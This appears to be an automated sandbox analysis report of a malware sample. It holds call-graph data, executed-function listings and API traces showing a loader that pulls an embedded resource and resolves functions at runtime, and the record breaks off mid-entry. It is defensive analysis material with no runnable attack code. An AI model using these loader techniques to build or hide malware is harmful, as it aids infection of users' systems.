83058 2f687808 83053->83058 83056 2f687808 LdrInitializeThunk 83056->83057 83057->83055 83057->83056 83059 2f68781a 83058->83059 83061 2f68781f 83058->83061 83059->83057 83060 2f687f49 LdrInitializeThunk 83060->83059 83061->83059 83061->83060 83062 2e5ccb20 83063 2e5ccb2c 83062->83063 83098 2f680e29 83063->83098 83104 2f680e38 83063->83104 83064 2e5ccbcb 83110 2f68b572 83064->83110 83114 2f68b580 83064->83114 83065 2e5ccbd2 83118 2f6965c0 83065->83118 83124 2f6965b0 83065->83124 83066 2e5cccdc 83130 2f7053bb 83066->83130 83136 2f7053c9 83066->83136 83142 2f7053ef 83066->83142 83148 2f705438 83066->83148 83067 2e5ccdf4 83154 2f740e98 83067->83154 83160 2f740e87 83067->83160 83068 2e5ccefe 83166 2f741360 83068->83166 83172 2f741352 83068->83172 83069 2e5ccf05 83178 2f747390 83069->83178 83184 2f747382 83069->83184 83070 2e5cd00f 83190 2f74ecd8 83070->83190 83196 2f74ecc8 83070->83196 83071 2e5cd120 83202 2f756760 83071->83202 83073 2e5cd342 83074 2e5cd3ea 83073->83074 83220 2f76a9bb 83073->83220 83224 2f76a9c0 83073->83224 83099 2f680e5a 83098->83099 83100 2f680f26 83099->83100 83102 2f687808 LdrInitializeThunk 83099->83102 83228 2f687a28 83099->83228 83234 2f687e0c 83099->83234 83100->83064 83102->83100 83105 2f680e5a 83104->83105 83106 2f680f26 83105->83106 83107 2f687a28 2 API calls 83105->83107 83108 2f687808 LdrInitializeThunk 83105->83108 83109 2f687e0c 2 API calls 83105->83109 83106->83064 83107->83106 83108->83106 83109->83106 83111 2f68b580 83110->83111 83112 2f687a28 2 API calls 83111->83112 83113 2f68b66c 83111->83113 83112->83113 83113->83065 83115 2f68b5a2 83114->83115 83116 2f687a28 2 API calls 83115->83116 83117 2f68b66c 83115->83117 83116->83117 83117->83065 83119 2f6965e2 83118->83119 83120 2f6966f4 83119->83120 83121 2f687a28 2 API calls 83119->83121 83122 2f687808 LdrInitializeThunk 83119->83122 83123 2f687e0c 2 API calls 83119->83123 83120->83066 83121->83120 83122->83120 83123->83120 83125 2f6965e2 83124->83125 83126 2f6966f4 83125->83126 83127 2f687a28 2 API calls 83125->83127 83128 2f687808 LdrInitializeThunk 83125->83128 83129 2f687e0c 2 API calls 83125->83129 83126->83066 83127->83126 83128->83126 83129->83126 83131 2f7053f7 83130->83131 83132 2f70552d 83131->83132 83133 2f687a28 2 API calls 83131->83133 83134 2f687808 LdrInitializeThunk 83131->83134 83135 2f687e0c 2 API calls 83131->83135 83132->83067 83133->83132 83134->83132 83135->83132 83137 2f7053cc 83136->83137 83138 2f70552d 83137->83138 83139 2f687a28 2 API calls 83137->83139 83140 2f687808 LdrInitializeThunk 83137->83140 83141 2f687e0c 2 API calls 83137->83141 83138->83067 83139->83138 83140->83138 83141->83138 83143 2f7053f4 83142->83143 83144 2f70552d 83143->83144 83145 2f687a28 2 API calls 83143->83145 83146 2f687808 LdrInitializeThunk 83143->83146 83147 2f687e0c 2 API calls 83143->83147 83144->83067 83145->83144 83146->83144 83147->83144 83149 2f70543b 83148->83149 83150 2f70552d 83149->83150 83151 2f687a28 2 API calls 83149->83151 83152 2f687808 LdrInitializeThunk 83149->83152 83153 2f687e0c 2 API calls 83149->83153 83150->83067 83151->83150 83152->83150 83153->83150 83155 2f740eba 83154->83155 83156 2f740f8d 83155->83156 83157 2f687a28 2 API calls 83155->83157 83158 2f687808 LdrInitializeThunk 83155->83158 83159 2f687e0c 2 API calls 83155->83159 83156->83068 83157->83156 83158->83156 83159->83156 83161 2f740eba 83160->83161 83162 2f740f8d 83161->83162 83163 2f687a28 2 API calls 83161->83163 83164 2f687808 LdrInitializeThunk 83161->83164 83165 2f687e0c 2 API calls 83161->83165 83162->83068 83163->83162 83164->83162 83165->83162 83167 2f74137c 83166->83167 83168 2f741427 83167->83168 83169 2f687a28 2 API calls 83167->83169 83170 2f687808 LdrInitializeThunk 83167->83170 83171 2f687e0c 2 API calls 83167->83171 83168->83069 83169->83168 83170->83168 83171->83168 83173 2f74137c 83172->83173 83174 2f741427 83173->83174 83175 2f687a28 2 API calls 83173->83175 83176 2f687808 LdrInitializeThunk 83173->83176 83177 2f687e0c 2 API calls 83173->83177 83174->83069 83175->83174 83176->83174 83177->83174 83179 2f7473ac 83178->83179 83180 2f747457 83179->83180 83181 2f687a28 2 API calls 83179->83181 83182 2f687808 LdrInitializeThunk 83179->83182 83183 2f687e0c 2 API calls 83179->83183 83180->83070 83181->83180 83182->83180 83183->83180 83185 2f7473ac 83184->83185 83186 2f747457 83185->83186 83187 2f687a28 2 API calls 83185->83187 83188 2f687808 LdrInitializeThunk 83185->83188 83189 2f687e0c 2 API calls 83185->83189 83186->83070 83187->83186 83188->83186 83189->83186 83191 2f74ecfa 83190->83191 83192 2f74edaa 83191->83192 83193 2f687a28 2 API calls 83191->83193 83194 2f687808 LdrInitializeThunk 83191->83194 83195 2f687e0c 2 API calls 83191->83195 83192->83071 83193->83192 83194->83192 83195->83192 83197 2f74ecd0 83196->83197 83198 2f74edaa 83197->83198 83199 2f687a28 2 API calls 83197->83199 83200 2f687808 LdrInitializeThunk 83197->83200 83201 2f687e0c 2 API calls 83197->83201 83198->83071 83199->83198 83200->83198 83201->83198 83203 2f75677c 83202->83203 83204 2e5cd238 83203->83204 83205 2f687a28 2 API calls 83203->83205 83206 2f687808 LdrInitializeThunk 83203->83206 83207 2f687e0c 2 API calls 83203->83207 83208 2f75c780 83204->83208 83214 2f75c790 83204->83214 83205->83204 83206->83204 83207->83204 83209 2f75c784 83208->83209 83209->83073 83210 2f75c857 83209->83210 83211 2f687a28 2 API calls 83209->83211 83212 2f687808 LdrInitializeThunk 83209->83212 83213 2f687e0c 2 API calls 83209->83213 83210->83073 83211->83210 83212->83210 83213->83210 83215 2f75c7ac 83214->83215 83216 2f75c857 83215->83216 83217 2f687a28 2 API calls 83215->83217 83218 2f687808 LdrInitializeThunk 83215->83218 83219 2f687e0c 2 API calls 83215->83219 83216->83073 83217->83216 83218->83216 83219->83216 83221 2f76a9cf 83220->83221 83240 2f76a0f4 83221->83240 83225 2f76a9cf 83224->83225 83226 2f76a0f4 2 API calls 83225->83226 83227 2f76a9f0 83226->83227 83227->83074 83233 2f687a59 83228->83233 83229 2f687bb9 83229->83100 83230 2f687e04 LdrInitializeThunk 83230->83229 83232 2f687808 LdrInitializeThunk 83232->83233 83233->83229 83233->83230 83233->83232 83238 2f687cc3 83234->83238 83235 2f687e04 LdrInitializeThunk 83237 2f687f61 83235->83237 83237->83100 83238->83235 83239 2f687808 LdrInitializeThunk 83238->83239 83239->83238 83241 2f76a0ff 83240->83241 83244 2f76b864 83241->83244 83246 2f76b86f 83244->83246 83245 2f76cb0c 83247 2f76cb67 83245->83247 83254 2fe2c011 83245->83254 83246->83245 83246->83247 83250 2f76e7a0 83246->83250 83252 2f76e7c1 83250->83252 83251 2f76e7e5 83251->83245 83252->83251 83258 2f76e950 83252->83258 83255 2fe2c041 83254->83255 83256 2fe2c420 WaitMessage 83255->83256 83257 2fe2c0cc 83255->83257 83256->83255 83259 2f76e95d 83258->83259 83260 2f76e996 83259->83260 83262 2f76cf4c 83259->83262 83260->83251 83263 2f76cf57 83262->83263 83265 2f76ea08 83263->83265 83266 2f76cf80 83263->83266 83265->83265 83267 2f76cf8b 83266->83267 83273 2f76cf90 83267->83273 83269 2f76ea77 83277 2fe24148 83269->83277 83287 2fe24160 83269->83287 83270 2f76eab1 83270->83265 83276 2f76cf9b 83273->83276 83274 2f76fd98 83274->83269 83275 2f76e7a0 GetModuleHandleW 83275->83274 83276->83274 83276->83275 83279 2fe24160 83277->83279 83278 2fe2419d 83278->83270 83279->83278 83280 2fe241dd 83279->83280 83283 2fe24160 GetModuleHandleW 83279->83283 83286 2fe24148 GetModuleHandleW 83279->83286 83297 2fe243c8 83279->83297 83300 2fe243d8 83279->83300 83281 2fe243a0 83280->83281 83303 2fe24419 83280->83303 83281->83270 83283->83280 83286->83280 83289 2fe24191 83287->83289 83290 2fe241dd 83287->83290 83288 2fe2419d 83288->83270 83289->83288 83292 2fe24160 GetModuleHandleW 83289->83292 83293 2fe243c8 GetModuleHandleW 83289->83293 83294 2fe243d8 GetModuleHandleW 83289->83294 83295 2fe24148 GetModuleHandleW 83289->83295 83291 2fe243a0 83290->83291 83296 2fe24419 GetModuleHandleW 83290->83296 83291->83270 83292->83290 83293->83290 83294->83290 83295->83290 83296->83291 83299 2fe24419 GetModuleHandleW 83297->83299 83298 2fe243e2 83298->83280 83299->83298 83301 2fe243e2 83300->83301 83302 2fe24419 GetModuleHandleW 83300->83302 83301->83280 83302->83301 83304 2fe24439 83303->83304 83305 2fe2445c 83303->83305 83304->83305 83306 2fe2467d GetModuleHandleW 83304->83306 83305->83281 83307 2fe246bc 83306->83307 83307->83281 82795 29a5f1b8 82796 29a5f1fc CloseHandle 82795->82796 82798 29a5f248 82796->82798 82723 298ad044 82724 298ad05c 82723->82724 82725 298ad0b6 82724->82725 82731 2fe26e28 82724->82731 82735 2fe24c2c 82724->82735 82741 2fe26e18 82724->82741 82745 2fe27c49 82724->82745 82751 2fe27c11 82724->82751 82732 2fe26e4e 82731->82732 82733 2fe24c2c CallWindowProcW 82732->82733 82734 2fe26e6f 82733->82734 82734->82725 82736 2fe24c37 82735->82736 82737 2fe27cb7 82736->82737 82758 2fe27dd0 82736->82758 82763 2fe27eac 82736->82763 82769 2fe27de0 82736->82769 82742 2fe26e4e 82741->82742 82743 2fe24c2c CallWindowProcW 82742->82743 82744 2fe26e6f 82743->82744 82744->82725 82746 2fe27c58 82745->82746 82747 2fe27cb7 82746->82747 82748 2fe27de0 CallWindowProcW 82746->82748 82749 2fe27dd0 CallWindowProcW 82746->82749 82750 2fe27eac CallWindowProcW 82746->82750 82748->82747 82749->82747 82750->82747 82752 2fe27c20 82751->82752 82753 2fe27c4f 82751->82753 82752->82725 82754 2fe27cb7 82753->82754 82755 2fe27de0 CallWindowProcW 82753->82755 82756 2fe27dd0 CallWindowProcW 82753->82756 82757 2fe27eac CallWindowProcW 82753->82757 82755->82754 82756->82754 82757->82754 82760 2fe27de0 82758->82760 82759 2fe27e80 82759->82737 82774 2fe27e88 82760->82774 82779 2fe27e98 82760->82779 82764 2fe27eba 82763->82764 82765 2fe27e6a 82763->82765 82767 2fe27e88 CallWindowProcW 82765->82767 82768 2fe27e98 CallWindowProcW 82765->82768 82766 2fe27e80 82766->82737 82767->82766 82768->82766 82771 2fe27df4 82769->82771 82770 2fe27e80 82770->82737 82772 2fe27e88 CallWindowProcW 82771->82772 82773 2fe27e98 CallWindowProcW 82771->82773 82772->82770 82773->82770 82775 2fe27e98 82774->82775 82776 2fe27ea9 82775->82776 82783 2fe292d0 82775->82783 82787 2fe292a6 82775->82787 82776->82759 82780 2fe27ea9 82779->82780 82781 2fe292d0 CallWindowProcW 82779->82781 82782 2fe292a6 CallWindowProcW 82779->82782 82780->82759 82781->82780 82782->82780 82785 2fe292d4 82783->82785 82784 2fe292e0 82784->82776 82785->82784 82791 2fe2932e 82785->82791 82789 2fe292a9 82787->82789 82788 2fe292e0 82788->82776 82789->82776 82789->82788 82790 2fe2932e CallWindowProcW 82789->82790 82792 2fe29342 82791->82792 82794 2fe29349 82791->82794 82793 2fe2939a CallWindowProcW 82792->82793 82792->82794 82793->82794 83308 2f76bac8 83309 2f76bb0e GetCurrentProcess 83308->83309 83311 2f76bb60 GetCurrentThread 83309->83311 83312 2f76bb59 83309->83312 83313 2f76bb96 83311->83313 83314 2f76bb9d GetCurrentProcess 83311->83314 83312->83311 83313->83314 83317 2f76bbd3 83314->83317 83315 2f76bbfb GetCurrentThreadId 83316 2f76bc2c 83315->83316 83317->83315

                                                                                                                                                          Executed Functions

                                                                                                                                                          Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 0 4019f0-401ac7 OleInitialize call 401650 call 40b99e 5 40248a-402496 0->5 6 401acd-401c4f GetCurrentProcessId CreateToolhelp32Snapshot Module32First 0->6 7 401dc3-401ed4 CloseHandle GetModuleHandleA call 401650 FindResourceA LoadResource LockResource SizeofResource call 40b84d call 40af66 6->7 8 401c55-401c6c call 401650 6->8 26 401ed6-401eed call 40ba30 7->26 27 401eef 7->27 14 401c73-401c77 8->14 16 401c93-401c95 14->16 17 401c79-401c7b 14->17 21 401c98-401c9a 16->21 19 401c7d-401c83 17->19 20 401c8f-401c91 17->20 19->16 23 401c85-401c8d 19->23 20->21 24 401cb0-401cce call 401650 21->24 25 401c9c-401caf CloseHandle 21->25 23->14 23->20 32 401cd0-401cd4 24->32 31 401ef3-401f1a call 401300 SizeofResource 26->31 27->31 41 401f1c-401f2f 31->41 42 401f5f-401f69 31->42 35 401cf0-401cf2 32->35 36 401cd6-401cd8 32->36 40 401cf5-401cf7 35->40 38 401cda-401ce0 36->38 39 401cec-401cee 36->39 38->35 45 401ce2-401cea 38->45 39->40 40->25 46 401cf9-401d09 Module32Next 40->46 47 401f33-401f5d call 401560 41->47 43 401f73-401f75 42->43 44 401f6b-401f72 42->44 48 401f92-4021a4 call 40ba30 FreeResource call 40b84d SizeofResource call 40ac60 call 40ba30 call 401650 LoadLibraryA call 401650 GetProcAddress 43->48 49 401f77-401f8d call 401560 43->49 44->43 45->32 45->39 46->7 50 401d0f 46->50 47->42 48->5 85 4021aa-4021c0 48->85 49->48 55 401d10-401d2e call 401650 50->55 61 401d30-401d34 55->61 63 401d50-401d52 61->63 64 401d36-401d38 61->64 65 401d55-401d57 63->65 67 401d3a-401d40 64->67 68 401d4c-401d4e 64->68 65->25 70 401d5d-401d7b call 401650 65->70 67->63 69 401d42-401d4a 67->69 68->65 69->61 69->68 77 401d80-401d84 70->77 79 401da0-401da2 77->79 80 401d86-401d88 77->80 84 401da5-401da7 79->84 82 401d8a-401d90 80->82 83 401d9c-401d9e 80->83 82->79 86 401d92-401d9a 82->86 83->84 84->25 87 401dad-401dbd Module32Next 84->87 89 4021c6-4021ca 85->89 90 40246a-402470 85->90 86->77 86->83 87->7 87->55 89->90 91 4021d0-402217 call 4018f0 89->91 92 402472-402475 90->92 93 40247a-402480 90->93 98 40221d-40223d 91->98 99 40244f-40245f 91->99 92->93 93->5 95 402482-402487 93->95 95->5 98->99 104 402243-402251 98->104 99->90 100 402461-402467 call 40b6b5 99->100 100->90 104->99 106 402257-4022b7 call 401870 VariantInit call 401870 VariantInit call 4018d0 104->106 114 4022c3-40232a call 4018d0 SafeArrayCreate SafeArrayAccessData call 40b350 SafeArrayUnaccessData 106->114 115 4022b9-4022be call 40ad90 106->115 122 402336-40234d call 4018d0 114->122 123 40232c-402331 call 40ad90 114->123 115->114 154 40234e call 2989d01d 122->154 155 40234e call 2989d01c 122->155 123->122 127 402350-402352 128 402354-402355 SafeArrayDestroy 127->128 129 40235b-402361 127->129 128->129 130 402363-402368 call 40ad90 129->130 131 40236d-402375 129->131 130->131 132 402377-402379 131->132 133 40237b 131->133 135 40237d-40238f call 4018d0 132->135 133->135 152 402390 call 2989d01d 135->152 153 402390 call 2989d01c 135->153 138 402392-4023a2 SafeArrayCreateVector 139 4023a4-4023a9 call 40ad90 138->139 140 4023ae-4023b4 138->140 139->140 142 4023b6-4023b8 140->142 143 4023ba 140->143 144 4023bc-402417 VariantClear * 2 call 4019a0 142->144 143->144 146 40241c-40242c VariantClear 144->146 147 402436-402445 call 4019a0 146->147 148 40242e-402433 146->148 147->99 151 402447-40244c 147->151 148->147 151->99 152->138 153->138 154->127 155->127
                                                                                                                                                          APIs
                                                                                                                                                          • OleInitialize.OLE32(00000000), ref: 004019FD
                                                                                                                                                          • _getenv.LIBCMT ref: 00401ABA
                                                                                                                                                          • GetCurrentProcessId.KERNEL32 ref: 00401ACD
                                                                                                                                                          • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
                                                                                                                                                          • Module32First.KERNEL32 ref: 00401C48
                                                                                                                                                          • CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
                                                                                                                                                          • Module32Next.KERNEL32(00000000,?), ref: 00401D02
                                                                                                                                                          • Module32Next.KERNEL32(00000000,?), ref: 00401DB6
                                                                                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00401DC4
                                                                                                                                                          • GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
                                                                                                                                                          • FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
                                                                                                                                                          • LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
                                                                                                                                                          • LockResource.KERNEL32(00000000), ref: 00401EA7
                                                                                                                                                          • SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
                                                                                                                                                          • _malloc.LIBCMT ref: 00401EBA
                                                                                                                                                          • _memset.LIBCMT ref: 00401EDD
                                                                                                                                                          • SizeofResource.KERNEL32(00000000,?), ref: 00401F02
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
                                                                                                                                                          • String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
                                                                                                                                                          • API String ID: 1430744539-2962942730
                                                                                                                                                          • Opcode ID: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
                                                                                                                                                          • Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
                                                                                                                                                          • Opcode Fuzzy Hash: 5b8530bddefb045e1b9ab2db406c8ab4da3f0b02880ef73395902e6a9a04ea37
                                                                                                                                                          • Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B
                                                                                                                                                          Function 2E5C5FA8 Relevance: 5.3, Strings: 4, Instructions: 342COMMON
                                                                                                                                                          Download Yara Rule

                                                                                                                                                          Control-flow Graph

                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          control_flow_graph 2046 2e5c5fa8-2e5c5fcb 2047 2e5c5fcd-2e5c5fd3 2046->2047 2048 2e5c5fd6-2e5c5ff6 2046->2048 2047->2048 2051 2e5c5ffd-2e5c6004 2048->2051 2052 2e5c5ff8 2048->2052 2054 2e5c6006-2e5c6011 2051->2054 2053 2e5c638c-2e5c6395 2052->2053 2055 2e5c639d 2054->2055 2056 2e5c6017-2e5c602a 2054->2056 2058 2e5c639f-2e5c63b7 2055->2058 2059 2e5c602c-2e5c603a 2056->2059 2060 2e5c6040-2e5c605b 2056->2060 2058->2058 2061 2e5c63ba-2e5c63c5 2058->2061 2059->2060 2066 2e5c6314-2e5c631b 2059->2066 2064 2e5c605d-2e5c6063 2060->2064 2065 2e5c607f-2e5c6082 2060->2065 2067 2e5c606c-2e5c606f 2064->2067 2068 2e5c6065 2064->2068 2070 2e5c61dc-2e5c61e2 2065->2070 2071 2e5c6088-2e5c608b 2065->2071 2066->2053 2069 2e5c631d-2e5c631f 2066->2069 2073 2e5c60a2-2e5c60a8 2067->2073 2074 2e5c6071-2e5c6074 2067->2074 2068->2067 2068->2070 2072 2e5c62ce-2e5c62d1 2068->2072 2068->2073 2075 2e5c632e-2e5c6334 2069->2075 2076 2e5c6321-2e5c6326 2069->2076 2070->2072 2077 2e5c61e8-2e5c61ed 2070->2077 2071->2070 2078 2e5c6091-2e5c6097 2071->2078 2083 2e5c6398 2072->2083 2084 2e5c62d7-2e5c62dd 2072->2084 2085 2e5c60ae-2e5c60b0 2073->2085 2086 2e5c60aa-2e5c60ac 2073->2086 2079 2e5c610e-2e5c6114 2074->2079 2080 2e5c607a 2074->2080 2075->2055 2081 2e5c6336-2e5c633b 2075->2081 2076->2075 2077->2072 2078->2070 2082 2e5c609d 2078->2082 2079->2072 2089 2e5c611a-2e5c6120 2079->2089 2080->2072 2087 2e5c633d-2e5c6342 2081->2087 2088 2e5c6380-2e5c6383 2081->2088 2082->2072 2083->2055 2090 2e5c62df-2e5c62e7 2084->2090 2091 2e5c6302-2e5c6306 2084->2091 2092 2e5c60ba-2e5c60c3 2085->2092 2086->2092 2087->2083 2097 2e5c6344 2087->2097 2088->2083 2096 2e5c6385-2e5c638a 2088->2096 2098 2e5c6126-2e5c6128 2089->2098 2099 2e5c6122-2e5c6124 2089->2099 2090->2055 2100 2e5c62ed-2e5c62fc 2090->2100 2091->2066 2095 2e5c6308-2e5c630e 2091->2095 2093 2e5c60c5-2e5c60d0 2092->2093 2094 2e5c60d6-2e5c60db 2092->2094 2093->2072 2093->2094 2105 2e5c60e1-2e5c60fe 2094->2105 2095->2054 2095->2066 2096->2053 2096->2069 2101 2e5c634b-2e5c6350 2097->2101 2102 2e5c6132-2e5c6149 2098->2102 2099->2102 2100->2060 2100->2091 2106 2e5c6372-2e5c6374 2101->2106 2107 2e5c6352-2e5c6354 2101->2107 2113 2e5c614b-2e5c6164 2102->2113 2114 2e5c6174-2e5c619b 2102->2114 2120 2e5c6104-2e5c6109 2105->2120 2121 2e5c61f2-2e5c6228 2105->2121 2106->2083 2109 2e5c6376-2e5c6379 2106->2109 2110 2e5c6356-2e5c635b 2107->2110 2111 2e5c6363-2e5c6369 2107->2111 2109->2088 2110->2111 2111->2055 2112 2e5c636b-2e5c6370 2111->2112 2112->2106 2116 2e5c6346-2e5c6349 2112->2116 2113->2121 2124 2e5c616a-2e5c616f 2113->2124 2114->2083 2126 2e5c61a1-2e5c61a4 2114->2126 2116->2083 2116->2101 2120->2121 2127 2e5c622a-2e5c622e 2121->2127 2128 2e5c6235-2e5c623d 2121->2128 2124->2121 2126->2083 2129 2e5c61aa-2e5c61d3 2126->2129 2130 2e5c624d-2e5c6251 2127->2130 2131 2e5c6230-2e5c6233 2127->2131 2128->2083 2132 2e5c6243-2e5c6248 2128->2132 2129->2121 2144 2e5c61d5-2e5c61da 2129->2144 2134 2e5c6270-2e5c6274 2130->2134 2135 2e5c6253-2e5c6259 2130->2135 2131->2128 2131->2130 2132->2072 2137 2e5c627e-2e5c629d call 2e5c6581 2134->2137 2138 2e5c6276-2e5c627c 2134->2138 2135->2134 2136 2e5c625b-2e5c6263 2135->2136 2136->2083 2140 2e5c6269-2e5c626e 2136->2140 2141 2e5c62a3-2e5c62a7 2137->2141 2138->2137 2138->2141 2140->2072 2141->2072 2142 2e5c62a9-2e5c62c5 2141->2142 2142->2072 2144->2121
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: (o^q$(o^q$,bq$,bq
                                                                                                                                                          • API String ID: 0-879173519
                                                                                                                                                          • Opcode ID: 4ee9f83754baa88dfb52a95fc880aeeface0790589b0e3191e8b94efb6836c76
                                                                                                                                                          • Instruction ID: 46c8f06dbd269d6ba152652fc08df2c8bff7d0894f65c68df2ecd075fb591a6e
                                                                                                                                                          • Opcode Fuzzy Hash: 4ee9f83754baa88dfb52a95fc880aeeface0790589b0e3191e8b94efb6836c76
                                                                                                                                                          • Instruction Fuzzy Hash: 99E14E30A10105DFCB00CFA9C9A4AADBBF2FF59B00F159465E915EB261D774EA42CF91
                                                                                                                                                          Function 2E5C8F18 Relevance: 3.4, Strings: 2, Instructions: 901COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: (o^q$4'^q
                                                                                                                                                          • API String ID: 0-273632683
                                                                                                                                                          • Opcode ID: 09f60c22e8c14a9414a3c18aa37c167a0761fd3b9b0e9d9cdf99c548acb2ecf5
                                                                                                                                                          • Instruction ID: d33f42aa9c2550266d1eb662542a908998aa53d799d81ad37819358685ef8d3d
                                                                                                                                                          • Opcode Fuzzy Hash: 09f60c22e8c14a9414a3c18aa37c167a0761fd3b9b0e9d9cdf99c548acb2ecf5
                                                                                                                                                          • Instruction Fuzzy Hash: 1582B030A10609DFCB05CFA8C8A4AAEBBF2FF98300F159559E515DB362D734E981CB51
                                                                                                                                                          Function 2E5CAA58 Relevance: 2.9, Strings: 2, Instructions: 351COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: PH^q$PH^q
                                                                                                                                                          • API String ID: 0-1598597984
                                                                                                                                                          • Opcode ID: 0a7c63afd8701181c41700da1404f7c5563d97092f6cfb38ef94d40bc59a6255
                                                                                                                                                          • Instruction ID: ccfba5d834d16227d1158e9e0fdae286f7d7f0a683a05c8db7c6e56449ce6279
                                                                                                                                                          • Opcode Fuzzy Hash: 0a7c63afd8701181c41700da1404f7c5563d97092f6cfb38ef94d40bc59a6255
                                                                                                                                                          • Instruction Fuzzy Hash: 8EE11774A10218CFDB04CFA9D894A9DBBF2FF59314F15D4A9E909AB366DB30A841CF50
                                                                                                                                                          Function 2E5CB1E1 Relevance: 2.7, Strings: 2, Instructions: 192COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: PH^q$PH^q
                                                                                                                                                          • API String ID: 0-1598597984
                                                                                                                                                          • Opcode ID: 2fbe94e6cce6075ee01178c7bd4c7b1def13f53dc96e4fc831d9c79523b93197
                                                                                                                                                          • Instruction ID: 3b936df445a92178771b18321a04ab134bddc413ad1b4d00acd0aeddedfb3e11
                                                                                                                                                          • Opcode Fuzzy Hash: 2fbe94e6cce6075ee01178c7bd4c7b1def13f53dc96e4fc831d9c79523b93197
                                                                                                                                                          • Instruction Fuzzy Hash: 3A81B374E10618CFDB54CFAAD8A4A9DBBF2BF88310F14D469E418AB365DB349942CF10
                                                                                                                                                          Function 2E5CB4BF Relevance: 2.7, Strings: 2, Instructions: 190COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: PH^q$PH^q
                                                                                                                                                          • API String ID: 0-1598597984
                                                                                                                                                          • Opcode ID: 480875d232aad316409fb5ab017156e4855ed080029b0dbeb9faf7173fca8e92
                                                                                                                                                          • Instruction ID: 5eaedd226044430a3684a3b22495e9ede83c2799eeac089bc59746f629e220bc
                                                                                                                                                          • Opcode Fuzzy Hash: 480875d232aad316409fb5ab017156e4855ed080029b0dbeb9faf7173fca8e92
                                                                                                                                                          • Instruction Fuzzy Hash: 6781C274E10618CFDB54CFAAD8A4A9DBBF2BF88300F10D469E409AB365DB349985CF10
                                                                                                                                                          Function 2E5CBD5F Relevance: 2.7, Strings: 2, Instructions: 189COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
